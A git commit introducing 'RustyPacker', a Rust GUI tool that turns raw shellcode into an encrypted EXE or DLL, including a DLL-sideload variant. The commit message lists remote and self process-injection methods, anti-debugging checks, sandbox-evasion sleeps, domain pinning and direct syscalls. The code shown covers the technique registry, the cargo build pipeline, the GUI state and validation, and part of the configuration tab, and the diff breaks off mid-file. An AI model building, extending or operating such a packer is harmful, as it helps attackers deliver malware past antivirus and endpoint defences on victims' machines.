commit 00734c6553bf07e29edbb66694729c1f79c59d42 Author: Whitecat18 Date: Mon Jun 1 22:12:16 2026 +0530 RustyPacker v0.1-beta, native Rust shellcode packer with GUI RustyPacker takes raw shellcode and emits a finished EXE, DLL, or DLL-sideloadable DLL with the payload embedded and encrypted. Choices exposed in the GUI: - Encryption: AES-256-CBC, XOR, UUID-encoded. - Remote injection: sysCRT, winCRT, ntEarlyCascade. - Self injection: sysFIBER, EnumCalendarInfoA, EnumDesktopsW, EnumWindowStationsW, EnumSystemGeoID, CDefFolderMenu_Create2, RtlUserFiberStart. - Anti-debug: CheckRemoteDebuggerPresent, NtQueryInformationProcess (ProcessDebugPort), TEB BeingDebugged, SetUnhandledExceptionFilter int3 trick. - Evasion: NtDelayExecution sleep, domain pinning. - Output: EXE, DLL, DLL Sideload, with optional Proxy mode and a generated .def for unhandled exports. The build flow assembles a Rust project under shared/output_/, performs placeholder substitutions requested by the chosen techniques, and runs cargo build --release --target x86_64-pc-windows-{msvc|gnu}. Once the final binary copies to the configured output path, cargo clean runs against the generated folder, removing target/ to keep disk use flat. Source files (Cargo.toml, src/, encrypted blob) stay on disk for inspection. Self-injection routes NtAllocateVirtualMemory and NtProtectVirtualMemory through Dyncvoke's syscall! macro, jumping into the real syscall instruction inside ntdll. Remote injection via sysCRT and sysFIBER uses the same path. build.rs walks src/techniques/ at build time to discover plugins, so adding a new encryption, injection, anti-debug, or evasion technique takes one manifest, one mod.rs, and an optional template folder. Three-tab GUI: Configure, FlowCase (live execution-flow preview), and Console (streaming cargo output line by line). diff --git a/Cargo.toml b/Cargo.toml new file mode 100644 index 0000000..b72fa0e --- /dev/null +++ b/Cargo.toml @@ -0,0 +1,30 @@ +[package] +name = "RustPacker" +version = "0.1.0-beta" +edition = "2021" +authors = ["smukx "] + +[lib] +name = "rustpacker" +path = "src/lib.rs" + +[[bin]] +name = "RustPacker" +path = "src/bin/gui.rs" + +[build-dependencies] +toml = "0.8" +serde = { version = "1", features = ["derive"] } + +[dependencies] +path-absolutize = "3" +fs_extra = "1" +path-clean = "1" +rand = "0.10" +libaes = "0.7" +anyhow = "1" +serde = { version = "1", features = ["derive"] } +toml = "0.8" +eframe = { version = "0.27", features = ["persistence"] } +egui = "0.27" +rfd = "0.14" diff --git a/build.rs b/build.rs new file mode 100644 index 0000000..5d909c1 --- /dev/null +++ b/build.rs @@ -0,0 +1,242 @@ +//! Walks `src/techniques/{encryption,injection,evasion}/*/technique.toml`, +//! parses each manifest, and emits `$OUT_DIR/registry.rs` with: +//! - one `pub static _META: TechniqueMeta = ...` per technique +//! - a `REGISTRY: &[&'static dyn Technique]` array +//! +//! Each technique folder must contain a `mod.rs` that defines a unit struct +//! `pub struct ;` implementing `Technique` and that uses +//! `crate::techniques::::::_META` for its meta. + +use serde::Deserialize; +use std::collections::HashSet; +use std::fs; +use std::path::PathBuf; + +#[derive(Debug, Deserialize)] +struct Manifest { + id: String, + display_name: String, + description: String, + category: String, // "encryption" | "injection" | "evasion" + #[serde(default)] + tags: Vec, + #[serde(default)] + requires: Vec, // "target_process" | "self_injection" | "format:exe" | "format:dll" + #[serde(default)] + incompatible_with: Vec, + #[serde(default)] + template_dir: Option, // for injection only + #[serde(default)] + params: Vec, +} + +#[derive(Debug, Deserialize)] +struct ParamManifest { + name: String, + kind: String, // "text" | "bool" | "choice" + label: String, + #[serde(default)] + default: Option, + #[serde(default)] + options: Vec, +} + +fn main() { + let crate_root = PathBuf::from(env!("CARGO_MANIFEST_DIR")); + let techniques_dir = crate_root.join("src/techniques"); + let out_dir: PathBuf = std::env::var_os("OUT_DIR").expect("OUT_DIR not set by cargo").into(); + + println!("cargo:rerun-if-changed=build.rs"); + println!("cargo:rerun-if-changed=src/techniques"); + + let mut found: Vec<(Manifest, String)> = Vec::new(); // (manifest, "/") + let mut seen_ids: HashSet = HashSet::new(); + + for cat in ["encryption", "injection", "evasion"] { + let cat_dir = techniques_dir.join(cat); + if !cat_dir.exists() { + continue; + } + for entry in fs::read_dir(&cat_dir).unwrap_or_else(|e| panic!("read_dir {}: {e}", cat_dir.display())) { + let entry = entry.unwrap_or_else(|e| panic!("read_dir entry in {}: {e}", cat_dir.display())); + let path = entry.path(); + if !path.is_dir() { + continue; + } + let manifest_path = path.join("technique.toml"); + if !manifest_path.exists() { + continue; + } + println!("cargo:rerun-if-changed={}", manifest_path.display()); + + let text = fs::read_to_string(&manifest_path) + .unwrap_or_else(|e| panic!("read {}: {e}", manifest_path.display())); + let manifest: Manifest = toml::from_str(&text) + .unwrap_or_else(|e| panic!("parse {}: {e}", manifest_path.display())); + + if manifest.category != cat { + panic!( + "manifest {} category={} but folder is under {}", + manifest_path.display(), manifest.category, cat + ); + } + if !is_valid_id(&manifest.id) { + panic!("invalid technique id {:?} in {}: must match ^[a-z][a-z0-9_]*$", + manifest.id, manifest_path.display()); + } + if manifest.template_dir.is_some() && manifest.category != "injection" { + panic!("manifest {} declares template_dir but category={} (only 'injection' may use template_dir)", + manifest_path.display(), manifest.category); + } + if !seen_ids.insert(manifest.id.clone()) { + panic!("duplicate technique id: {}", manifest.id); + } + found.push((manifest, format!("{}/{}", cat, path.file_name().unwrap().to_string_lossy()))); + } + } + + found.sort_by(|a, b| a.0.id.cmp(&b.0.id)); + + let mut out = String::new(); + out.push_str("// Auto-generated by build.rs. Do not edit.\n\n"); + + // Emit module trees grouped by category. + // We must use #[path = "..."] attributes because this file is emitted into + // $OUT_DIR and included via include!() — Rust resolves bare `pub mod` + // declarations relative to the including source file's directory, but when + // the mod declaration lives inside an include!() expansion, rustc uses the + // OUT_DIR path for resolution. Absolute #[path] attributes sidestep this. + for cat in ["encryption", "injection", "evasion"] { + let items: Vec<&(Manifest, String)> = found.iter().filter(|(m, _)| m.category == cat).collect(); + if items.is_empty() { continue; } + out.push_str(&format!("pub mod {cat} {{\n")); + for (m, _) in &items { + let mod_path = techniques_dir + .join(cat) + .join(&m.id) + .join("mod.rs"); + // Use forward slashes so the path attribute works cross-platform inside the string literal. + let mod_path_str = mod_path.to_string_lossy().replace('\\', "/"); + out.push_str(&format!(" #[path = {:?}]\n pub mod {};\n", mod_path_str, m.id)); + } + out.push_str("}\n"); + } + out.push('\n'); + + // Emit one `static META` per technique with the parsed values. + for (m, _) in &found { + emit_meta(&mut out, m); + } + + // Emit the REGISTRY array. + out.push_str("static REGISTRY: &[&'static dyn crate::techniques::Technique] = &[\n"); + for (m, _) in &found { + let pascal = to_pascal(&m.id); + out.push_str(&format!(" &crate::techniques::{}::{}::{} {{}},\n", m.category, m.id, pascal)); + } + out.push_str("];\n"); + + let dest = out_dir.join("registry.rs"); + fs::write(&dest, out).unwrap_or_else(|e| panic!("write {}: {e}", dest.display())); +} + +fn is_valid_id(id: &str) -> bool { + let mut chars = id.chars(); + let Some(first) = chars.next() else { return false; }; + if !first.is_ascii_lowercase() { return false; } + chars.all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == '_') +} + +fn to_pascal(snake: &str) -> String { + snake.split('_').map(|part| { + let mut chars = part.chars(); + match chars.next() { + Some(c) => c.to_ascii_uppercase().to_string() + chars.as_str(), + None => String::new(), + } + }).collect() +} + +fn emit_meta(out: &mut String, m: &Manifest) { + let cat_variant = match m.category.as_str() { + "encryption" => "Encryption", + "injection" => "Injection", + "evasion" => "Evasion", + other => panic!("unknown category: {other}"), + }; + let id_upper = m.id.to_uppercase(); + + out.push_str(&format!( + "pub static {ID}_META: crate::techniques::TechniqueMeta = crate::techniques::TechniqueMeta {{\n", + ID = id_upper + )); + out.push_str(&format!(" id: {:?},\n", m.id)); + out.push_str(&format!(" display_name: {:?},\n", m.display_name)); + out.push_str(&format!(" description: {:?},\n", m.description)); + out.push_str(&format!(" category: crate::techniques::Category::{},\n", cat_variant)); + + out.push_str(" tags: &["); + for t in &m.tags { out.push_str(&format!("{:?}, ", t)); } + out.push_str("],\n"); + + out.push_str(" requires: &["); + for r in &m.requires { out.push_str(&emit_requirement(r)); out.push_str(", "); } + out.push_str("],\n"); + + out.push_str(" incompatible_with: &["); + for w in &m.incompatible_with { out.push_str(&format!("{:?}, ", w)); } + out.push_str("],\n"); + + out.push_str(" params: &["); + for p in &m.params { out.push_str(&emit_param(p)); out.push_str(", "); } + out.push_str("],\n"); + + out.push_str("};\n\n"); + + if let Some(t) = &m.template_dir { + out.push_str(&format!( + "pub static {ID}_TEMPLATE_DIR: &str = {t:?};\n\n", + ID = id_upper + )); + } +} + +fn emit_requirement(r: &str) -> String { + match r { + "target_process" => "crate::techniques::Requirement::TargetProcess".to_string(), + "self_injection" => "crate::techniques::Requirement::SelfInjection".to_string(), + "format:exe" => "crate::techniques::Requirement::Format(crate::techniques::Format::Exe)".to_string(), + "format:dll" => "crate::techniques::Requirement::Format(crate::techniques::Format::Dll)".to_string(), + other => panic!("unknown requirement: {other}"), + } +} + +fn emit_param(p: &ParamManifest) -> String { + match p.kind.as_str() { + "text" => { + let default = p.default.as_ref().and_then(|v| v.as_str()).unwrap_or(""); + format!( + "crate::techniques::ParamSpec::Text {{ name: {:?}, label: {:?}, default: {:?} }}", + p.name, p.label, default + ) + } + "bool" => { + let default = p.default.as_ref().and_then(|v| v.as_bool()).unwrap_or(false); + format!( + "crate::techniques::ParamSpec::Bool {{ name: {:?}, label: {:?}, default: {} }}", + p.name, p.label, default + ) + } + "choice" => { + if p.options.is_empty() { + panic!("choice param {:?} has no options", p.name); + } + let opts: Vec = p.options.iter().map(|o| format!("{:?}", o)).collect(); + format!( + "crate::techniques::ParamSpec::Choice {{ name: {:?}, label: {:?}, options: &[{}] }}", + p.name, p.label, opts.join(", ") + ) + } + other => panic!("unknown param kind: {other}"), + } +} diff --git a/src/bin/gui.rs b/src/bin/gui.rs new file mode 100644 index 0000000..6bd0c04 --- /dev/null +++ b/src/bin/gui.rs @@ -0,0 +1,27 @@ +#![cfg_attr(not(debug_assertions), windows_subsystem = "windows")] +use eframe::egui; + +fn main() -> eframe::Result<()> { + // The build pipeline resolves `shared/` and `templates/` as relative paths + // from the CWD. When the GUI is launched directly (e.g. by double-clicking + // the .exe), the CWD is `target/release/` and those folders don't exist. + // Anchor to the project root that was current at compile time. + let project_root = env!("CARGO_MANIFEST_DIR"); + if let Err(e) = std::env::set_current_dir(project_root) { + eprintln!("Warning: could not set working directory to {project_root}: {e}"); + } + + let opts = eframe::NativeOptions { + viewport: egui::ViewportBuilder::default() + .with_inner_size([960.0, 720.0]) + .with_min_inner_size([720.0, 560.0]) + .with_title("RustyPacker"), + persist_window: true, + ..Default::default() + }; + eframe::run_native( + "RustyPacker", + opts, + Box::new(|cc| Box::new(rustpacker::gui::App::from_storage(cc))), + ) +} diff --git a/src/build_log.rs b/src/build_log.rs new file mode 100644 index 0000000..6ce13ed --- /dev/null +++ b/src/build_log.rs @@ -0,0 +1,43 @@ +//! Process-wide sink for build-pipeline output. +//! +//! The GUI installs a shared `Arc>` before kicking off a build; +//! every `blog!()` call from `puzzle`, `compiler`, `tools`, etc. appends a line +//! to that buffer so it can be rendered live in the Console tab. With no sink +//! installed the writes are silently dropped (the GUI binary has no stdout when +//! launched with `windows_subsystem = "windows"`). + +use std::sync::{Arc, Mutex, OnceLock}; + +type SinkHandle = Arc>; + +static SLOT: OnceLock>> = OnceLock::new(); + +fn slot() -> &'static Mutex> { + SLOT.get_or_init(|| Mutex::new(None)) +} + +pub fn set_sink(sink: SinkHandle) { + *slot().lock().unwrap() = Some(sink); +} + +pub fn clear_sink() { + *slot().lock().unwrap() = None; +} + +pub fn write(line: &str) { + let sink_opt = slot().lock().unwrap().clone(); + if let Some(sink) = sink_opt { + let mut buf = sink.lock().unwrap(); + buf.push_str(line); + if !line.ends_with('\n') { + buf.push('\n'); + } + } +} + +#[macro_export] +macro_rules! blog { + ($($arg:tt)*) => { + $crate::build_log::write(&format!($($arg)*)) + }; +} diff --git a/src/compiler.rs b/src/compiler.rs new file mode 100644 index 0000000..d73183a --- /dev/null +++ b/src/compiler.rs @@ -0,0 +1,98 @@ +use std::io::{BufRead, BufReader}; +use std::path::Path; +use std::process::{Command, ExitStatus, Stdio}; + +/// Spawn `cmd` with stdout+stderr piped, stream every line into the +/// `build_log` sink as it arrives, and return the final ExitStatus. +fn stream_command(cmd: &mut Command) -> std::io::Result { + cmd.stdout(Stdio::piped()).stderr(Stdio::piped()); + let mut child = cmd.spawn()?; + let stdout = child.stdout.take(); + let stderr = child.stderr.take(); + let t_out = stdout.map(|out| { + std::thread::spawn(move || { + for line in BufReader::new(out).lines().map_while(Result::ok) { + crate::build_log::write(&line); + } + }) + }); + let t_err = stderr.map(|err| { + std::thread::spawn(move || { + for line in BufReader::new(err).lines().map_while(Result::ok) { + crate::build_log::write(&line); + } + }) + }); + let status = child.wait()?; + if let Some(t) = t_out { + let _ = t.join(); + } + if let Some(t) = t_err { + let _ = t.join(); + } + Ok(status) +} + +fn build_target() -> &'static str { + if cfg!(target_os = "windows") { + "x86_64-pc-windows-msvc" + } else { + "x86_64-pc-windows-gnu" + } +} + +fn compile_locally(path_to_cargo_folder: &Path) -> Result<(), Box> { + let target = build_target(); + let manifest = path_to_cargo_folder.join("Cargo.toml"); + let mut cmd = Command::new("cargo"); + + if cfg!(not(target_os = "windows")) { + cmd.env("CFLAGS", "-lrt"); + cmd.env("LDFLAGS", "-lrt"); + } + + cmd.env("RUSTFLAGS", "-C target-feature=+crt-static") + .args(["build", "--release", "--manifest-path"]) + .arg(&manifest) + .args(["--target", target]); + + let status = stream_command(&mut cmd)?; + + if !status.success() { + return Err(format!("Compilation failed: {}", status).into()); + } + Ok(()) +} + +pub fn compile(path_to_cargo_folder: &Path) { + crate::blog!("[+] Starting to compile your payload.."); + compile_locally(path_to_cargo_folder).unwrap_or_else(|err| { + panic!("Compilation failed: {:?}", err); + }); + crate::blog!("[+] Successfully compiled! Rust code and compiled binary are in the 'shared' folder"); +} + +fn clean_locally(path_to_cargo_folder: &Path) -> Result<(), Box> { + let manifest = path_to_cargo_folder.join("Cargo.toml"); + let mut cmd = Command::new("cargo"); + cmd.args(["clean", "--manifest-path"]).arg(&manifest); + cmd.stdout(Stdio::null()).stderr(Stdio::null()); + let status = cmd.status()?; + if !status.success() { + return Err(format!("cargo clean failed: {}", status).into()); + } + Ok(()) +} + +/// Removes the `target/` directory under the generated output folder. +/// Source files (`Cargo.toml`, `src/`, encrypted blob) are preserved. +/// Only call this after the final binary has been copied to the user's +/// destination, otherwise the only built artifact gets nuked along with +/// the intermediates. +pub fn clean(path_to_cargo_folder: &Path) { + crate::blog!("[*] Removing build artifacts to save disk space.."); + match clean_locally(path_to_cargo_folder) { + Ok(()) => crate::blog!("[+] Cleaned: {}/target", path_to_cargo_folder.display()), + Err(e) => crate::blog!("[!] cargo clean skipped: {}", e), + } +} diff --git a/src/gui/mod.rs b/src/gui/mod.rs new file mode 100644 index 0000000..d407409 --- /dev/null +++ b/src/gui/mod.rs @@ -0,0 +1,323 @@ +use eframe::egui::{self, Margin, RichText}; + +pub mod state; +pub mod theme; +pub mod widgets; +pub mod tab_configure; +pub mod tab_flowcase; +pub mod tab_console; + +use state::{AppState, Tab}; +use std::sync::{Arc, Mutex}; +use std::thread::JoinHandle; +use widgets::AppStatus; + +pub struct App { + state: AppState, + build_handle: Option>, + build_log: Arc>, + build_running: Arc, +} + +impl Default for App { + fn default() -> Self { + Self { + state: AppState::default(), + build_handle: None, + build_log: Arc::new(Mutex::new(String::new())), + build_running: Arc::new(std::sync::atomic::AtomicBool::new(false)), + } + } +} + +impl App { + pub fn from_storage(cc: &eframe::CreationContext<'_>) -> Self { + let state: AppState = cc + .storage + .and_then(|s| eframe::get_value::(s, "app_state")) + .unwrap_or_default(); + theme::install(&cc.egui_ctx, state.active_theme); + let mut app = Self::default(); + app.state = state; + app + } + + fn start_build(&mut self, ctx: &egui::Context) { + if self.build_running.load(std::sync::atomic::Ordering::SeqCst) { + return; + } + if let Err(msg) = validate_state(&self.state) { + self.build_log + .lock() + .unwrap() + .push_str(&format!("[-] {msg}\n")); + return; + } + let order = match self.state.to_order() { + Some(o) => o, + None => { + self.build_log + .lock() + .unwrap() + .push_str("[-] Pick a shellcode file first.\n"); + return; + } + }; + self.build_log.lock().unwrap().clear(); + self.build_running + .store(true, std::sync::atomic::Ordering::SeqCst); + let log = self.build_log.clone(); + let running = self.build_running.clone(); + let ctx = ctx.clone(); + + self.build_handle = Some(std::thread::spawn(move || { + crate::build_log::set_sink(log.clone()); + crate::build_log::write("[*] Starting build..."); + let result = std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| { + let folder = crate::puzzle::assemble(order.clone()); + crate::blog!("[*] Compiled output folder: {}", folder.display()); + crate::compiler::compile(&folder); + let copy_result = crate::tools::process_output(&order, &folder); + let _ = crate::tools::rename_source_binary(&order, &folder); + if order.output.is_some() && copy_result.is_ok() { + crate::compiler::clean(&folder); + } + })); + let msg = match result { + Ok(()) => "[+] Build complete.", + Err(_) => "[-] Build panicked. See output folder for partial artifacts.", + }; + crate::build_log::write(msg); + crate::build_log::clear_sink(); + running.store(false, std::sync::atomic::Ordering::SeqCst); + ctx.request_repaint(); + })); + } +} + +pub fn validate_state(state: &AppState) -> Result<(), String> { + use crate::gui::state::Format; + use crate::techniques::{self, Format as TFormat, Requirement}; + + let Some(_) = &state.shellcode_path else { + return Err("Pick a shellcode file.".into()); + }; + + let inj = techniques::find(&state.injection_id) + .ok_or_else(|| format!("Unknown injection: {}", state.injection_id))?; + if techniques::find(&state.encryption_id).is_none() { + return Err(format!("Unknown encryption: {}", state.encryption_id)); + } + for ev_id in &state.enabled_evasions { + if techniques::find(ev_id).is_none() { + return Err(format!("Unknown evasion: {}", ev_id)); + } + } + for id in &state.enabled_anti_debug { + if techniques::find(id).is_none() { + return Err(format!("Unknown anti-debug check: {}", id)); + } + } + for req in inj.meta().requires { + match req { + Requirement::TargetProcess => { + let key = format!("{}.target_process", inj.meta().id); + if state + .params + .get(&key) + .map(String::as_str) + .unwrap_or("") + .is_empty() + { + return Err(format!( + "{} requires a target process.", + inj.meta().display_name + )); + } + } + Requirement::Format(TFormat::Exe) if state.format == Format::Dll => { + return Err(format!( + "{} requires EXE format.", + inj.meta().display_name + )); + } + Requirement::Format(TFormat::Dll) if state.format == Format::Exe => { + return Err(format!( + "{} requires DLL format.", + inj.meta().display_name + )); + } + _ => {} + } + } + + if state.format == Format::DllSideload { + if !inj.meta().tags.contains(&"self_injection") { + return Err(format!( + "DLL Sideload requires a self-injection technique. {} is remote.", + inj.meta().display_name + )); + } + if state.sideload.target_dll.is_none() { + return Err("DLL Sideload: pick a target DLL.".into()); + } + if state.sideload.hijack_export.trim().is_empty() { + return Err("DLL Sideload: enter the hijack export name.".into()); + } + if matches!(state.sideload.mode, crate::gui::state::SideloadMode::Proxy) + && !state.sideload.use_absolute_path + && state.sideload.renamed.trim().is_empty() + { + return Err( + "DLL Sideload (Proxy, relative mode): set the renamed-original DLL name." + .into(), + ); + } + } + Ok(()) +} + +impl eframe::App for App { + fn save(&mut self, storage: &mut dyn eframe::Storage) { + eframe::set_value(storage, "app_state", &self.state); + } + + fn update(&mut self, ctx: &egui::Context, _frame: &mut eframe::Frame) { + let running = self + .build_running + .load(std::sync::atomic::Ordering::SeqCst); + let count = crate::techniques::all().len(); + let status = if running { + AppStatus::Building + } else { + AppStatus::Ready { count } + }; + + // --- Title bar (with theme picker) + let mut theme_changed = false; + egui::TopBottomPanel::top("titlebar") + .frame( + egui::Frame::none() + .fill(theme::palette::bg_chrome()) + .inner_margin(Margin::ZERO), + ) + .show_separator_line(false) + .show(ctx, |ui| { + theme_changed = widgets::title_bar( + ui, + env!("CARGO_PKG_VERSION"), + &status, + &mut self.state.active_theme, + ); + }); + + if theme_changed { + theme::install(ctx, self.state.active_theme); + ctx.request_repaint(); + } + + // --- Tab strip + egui::TopBottomPanel::top("tabs") + .frame( + egui::Frame::none() + .fill(theme::palette::bg_chrome()) + .inner_margin(Margin::ZERO), + ) + .show_separator_line(false) + .show(ctx, |ui| { + widgets::tab_strip( + ui, + &mut self.state.current_tab, + &[ + (Tab::Configure, "Configure"), + (Tab::FlowCase, "FlowCase"), + (Tab::Console, "Console"), + ], + ); + }); + + // --- Bottom action bar + egui::TopBottomPanel::bottom("actions") + .frame( + egui::Frame::none() + .fill(theme::palette::bg_chrome()) + .inner_margin(Margin { + left: theme::space::LG, + right: theme::space::LG, + top: theme::space::SM + 2.0, + bottom: theme::space::SM + 2.0, + }), + ) + .show_separator_line(false) + .show(ctx, |ui| { + let r = ui.max_rect(); + ui.painter().hline( + r.x_range(), + r.top(), + egui::Stroke::new(1.0, theme::palette::border_strong()), + ); + + ui.horizontal(|ui| { + let status_text = if running { + format!("● Building… · see Console for output") + } else { + format!("Ready · {count} techniques discovered") + }; + let color = if running { + theme::palette::accent() + } else { + theme::palette::text_label() + }; + ui.label( + RichText::new(status_text) + .font(theme::font_sans(11.0)) + .color(color), + ); + + ui.with_layout( + egui::Layout::right_to_left(egui::Align::Center), + |ui| { + let clicked = if running { + let _ = widgets::primary_button_disabled(ui, "▶ BUILDING…"); + false + } else { + widgets::primary_button(ui, "▶ BUILD PAYLOAD").clicked() + }; + if clicked { + self.state.current_tab = Tab::Console; + self.start_build(ctx); + } + }, + ); + }); + }); + + // --- Central body + let central = egui::CentralPanel::default() + .frame( + egui::Frame::none() + .fill(theme::palette::bg_base()) + .inner_margin(Margin { + left: theme::space::XXL, + right: theme::space::XXL, + top: theme::space::LG, + bottom: theme::space::LG, + }), + ) + .show(ctx, |ui| match self.state.current_tab { + Tab::Configure => tab_configure::draw(ui, &mut self.state), + Tab::FlowCase => tab_flowcase::draw(ui, &mut self.state), + Tab::Console => tab_console::draw(ui, &mut self.state, &self.build_log), + }); + + // Cyberpunk overlay: subtle CRT scanlines over the central panel. + if self.state.active_theme.scanlines() { + widgets::paint_scanlines(ctx, central.response.rect); + } + + // Animate the building status pip + if running { + ctx.request_repaint_after(std::time::Duration::from_millis(150)); + } + } +} diff --git a/src/gui/state.rs b/src/gui/state.rs new file mode 100644 index 0000000..713cfa7 --- /dev/null +++ b/src/gui/state.rs @@ -0,0 +1,129 @@ +use crate::gui::theme::Theme; +use serde::{Deserialize, Serialize}; +use std::collections::HashMap; +use std::path::PathBuf; + +#[derive(Debug, Clone, Copy, Serialize, Deserialize, PartialEq, Eq)] +pub enum Tab { Configure, FlowCase, Console } + +impl Default for Tab { fn default() -> Self { Self::Configure } } + +#[derive(Debug, Clone, Copy, Serialize, Deserialize, PartialEq, Eq)] +pub enum SideloadMode { Sideload, Proxy } + +impl Default for SideloadMode { fn default() -> Self { Self::Sideload } } + +#[derive(Debug, Clone, Default, Serialize, Deserialize)] +#[serde(default)] +pub struct SideloadConfig { + pub target_dll: Option, + pub hijack_export: String, + pub mode: SideloadMode, + pub renamed: String, // proxy/relative mode — e.g. "Shaping.dll" + pub use_absolute_path: bool, // proxy/absolute mode +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +#[serde(default)] +pub struct AppState { + pub current_tab: Tab, + + pub shellcode_path: Option, + pub format: Format, + pub output_path: Option, + + pub encryption_id: String, // e.g. "aes" + pub injection_id: String, // e.g. "syscrt" + pub enabled_evasions: Vec, + #[serde(default)] + pub enabled_anti_debug: Vec, + + /// Flat key/value, scoped by ".". + pub params: HashMap, + + pub sideload: SideloadConfig, + + pub console_log: String, + + /// Active visual theme — persisted across runs. + pub active_theme: Theme, +} + +#[derive(Debug, Clone, Copy, Serialize, Deserialize, PartialEq, Eq)] +pub enum Format { Exe, Dll, DllSideload } + +impl Default for Format { fn default() -> Self { Self::Exe } } + +impl Format { + pub fn label(self) -> &'static str { + match self { + Format::Exe => "EXE", + Format::Dll => "DLL", + Format::DllSideload => "DLL SIDELOAD", + } + } +} + +impl Default for AppState { + fn default() -> Self { + Self { + current_tab: Tab::Configure, + shellcode_path: None, + format: Format::Exe, + output_path: None, + encryption_id: "aes".to_string(), + injection_id: "syscrt".to_string(), + enabled_evasions: Vec::new(), + enabled_anti_debug: Vec::new(), + params: HashMap::new(), + sideload: SideloadConfig::default(), + console_log: String::new(), + active_theme: Theme::default(), + } + } +} + +impl AppState { + pub fn to_order(&self) -> Option { + use crate::order::{ + Order, OutputFormat, SideloadConfig as OrderSideload, SideloadMode as OrderMode, + }; + + let sideload = match self.format { + Format::DllSideload => { + let target = self.sideload.target_dll.clone()?; + Some(OrderSideload { + target_dll: target, + hijack_export: self.sideload.hijack_export.clone(), + mode: match self.sideload.mode { + SideloadMode::Sideload => OrderMode::Sideload, + SideloadMode::Proxy => OrderMode::Proxy, + }, + renamed: self.sideload.renamed.clone(), + use_absolute_path: self.sideload.use_absolute_path, + }) + } + _ => None, + }; + + Some(Order { + shellcode_path: self.shellcode_path.clone()?, + format: match self.format { + Format::Exe => OutputFormat::Exe, + Format::Dll => OutputFormat::Dll, + Format::DllSideload => OutputFormat::DllSideload, + }, + encryption_id: self.encryption_id.clone(), + injection_id: self.injection_id.clone(), + evasions: { + // Anti-debug checks run first (bail out before sandbox/sleep evasions). + let mut combined = self.enabled_anti_debug.clone(); + combined.extend(self.enabled_evasions.iter().cloned()); + combined + }, + params: self.params.clone(), + output: self.output_path.clone(), + sideload, + }) + } +} diff --git a/src/gui/tab_configure.rs b/src/gui/tab_configure.rs new file mode 100644 index 0000000..910eaca --- /dev/null +++ b/src/gui/tab_configure.rs @@ -0,0 +1,657 @@ +use crate::gui::state::{AppState, Format, SideloadMode}; +use crate::gui::theme::{palette, space}; +use crate::gui::widgets::{ + card, description, field_row, ghost_button, input_readonly, meta_line, pill, section_header, + segmented, warn_banner, PillKind, +}; +use eframe::egui::{self, FontFamily, FontId, RichText}; +use std::fs; +use std::path::PathBuf; + +pub fn draw(ui: &mut egui::Ui, state: &mut AppState) { + egui::ScrollArea::vertical() + .auto_shrink([false, false]) + .show(ui, |ui| { + ui.set_min_width(ui.available_width()); + + draw_shellcode(ui, state); + ui.add_space(space::MD); + draw_output(ui, state); + ui.add_space(space::MD); + if state.format == Format::DllSideload { + draw_sideload(ui, state); + ui.add_space(space::MD); + } + draw_encryption(ui, state); + ui.add_space(space::MD); + draw_injection(ui, state); + ui.add_space(space::MD); + draw_anti_debug(ui, state); + ui.add_space(space::MD); + draw_evasion(ui, state); + + if let Err(msg) = crate::gui::validate_state(state) { + ui.add_space(space::SM); + warn_banner(ui, &msg); + } + + ui.add_space(space::LG); + }); +} + +// ---------------------------------------------------------------- shellcode + +fn draw_shellcode(ui: &mut egui::Ui, state: &mut AppState) { + let size_suffix = state + .shellcode_path + .as_ref() + .and_then(|p| fs::metadata(p).ok()) + .map(|m| format!("{} bytes", m.len())); + section_header(ui, "Shellcode", size_suffix.as_deref()); + + card(ui, |ui| { + field_row(ui, "File", |ui| { + let path_str = state + .shellcode_path + .as_ref() + .map(|p| p.display().to_string()) + .unwrap_or_default(); + let avail = ui.available_width() - 110.0; + input_readonly(ui, &path_str, avail.max(180.0)); + if ghost_button(ui, "Browse…").clicked() { + if let Some(picked) = rfd::FileDialog::new() + .add_filter("Raw shellcode", &["bin", "raw"]) + .pick_file() + { + state.shellcode_path = Some(picked); + } + } + }); + if state.shellcode_path.is_some() && size_suffix.is_some() { + ui.add_space(4.0); + meta_line( + ui, + &format!( + "{} loaded", + size_suffix.as_deref().unwrap_or("") + ), + ); + } + }); +} + +// ---------------------------------------------------------------- output + +fn draw_output(ui: &mut egui::Ui, state: &mut AppState) { + section_header(ui, "Output", None); + card(ui, |ui| { + field_row(ui, "Format", |ui| { + segmented( + ui, + &mut state.format, + &[ + (Format::Exe, "EXE"), + (Format::Dll, "DLL"), + (Format::DllSideload, "SIDELOAD"), + ], + ); + }); + ui.add_space(6.0); + field_row(ui, "Save to", |ui| { + let mut s = state + .output_path + .as_ref() + .map(|p| p.display().to_string()) + .unwrap_or_default(); + let avail = ui.available_width() - 110.0; + let resp = ui.add( + egui::TextEdit::singleline(&mut s) + .desired_width(avail.max(180.0)) + .font(FontId::new(12.0, FontFamily::Monospace)) + .text_color(palette::text()) + .margin(egui::vec2(space::SM, space::XS + 1.0)), + ); + if resp.changed() { + state.output_path = if s.trim().is_empty() { + None + } else { + Some(s.into()) + }; + } + if ghost_button(ui, "Browse…").clicked() { + let default_name = match state.format { + Format::Exe => "out.exe", + Format::Dll | Format::DllSideload => "out.dll", + }; + if let Some(picked) = rfd::FileDialog::new() + .set_file_name(default_name) + .save_file() + { + state.output_path = Some(picked); + } + } + }); + }); +} + +// ---------------------------------------------------------------- sideload + +fn draw_sideload(ui: &mut egui::Ui, state: &mut AppState) { + section_header(ui, "DLL Sideload", Some("self-injection only")); + card(ui, |ui| { + field_row(ui, "Target DLL", |ui| { + let path_str = state + .sideload + .target_dll + .as_ref() + .map(|p| p.display().to_string()) + .unwrap_or_default(); + let avail = ui.available_width() - 110.0; + input_readonly(ui, &path_str, avail.max(180.0)); + if ghost_button(ui, "Browse…").clicked() { + if let Some(picked) = rfd::FileDialog::new() + .add_filter("DLL", &["dll", "DLL"]) + .pick_file() + { + state.sideload.target_dll = Some(picked); + } + } + }); + + ui.add_space(6.0); + field_row(ui, "Hijack export", |ui| { + let avail = ui.available_width(); + ui.add( + egui::TextEdit::singleline(&mut state.sideload.hijack_export) + .desired_width(avail.min(320.0)) + .hint_text("e.g. DllRegisterServer") + .font(FontId::new(12.0, FontFamily::Monospace)) + .text_color(palette::text()) + .margin(egui::vec2(space::SM, space::XS + 1.0)), + ); + }); + + ui.add_space(6.0); + field_row(ui, "Mode", |ui| { + segmented( + ui, + &mut state.sideload.mode, + &[ + (SideloadMode::Sideload, "SIDELOAD"), + (SideloadMode::Proxy, "PROXY"), + ], + ); + }); + + match state.sideload.mode { + 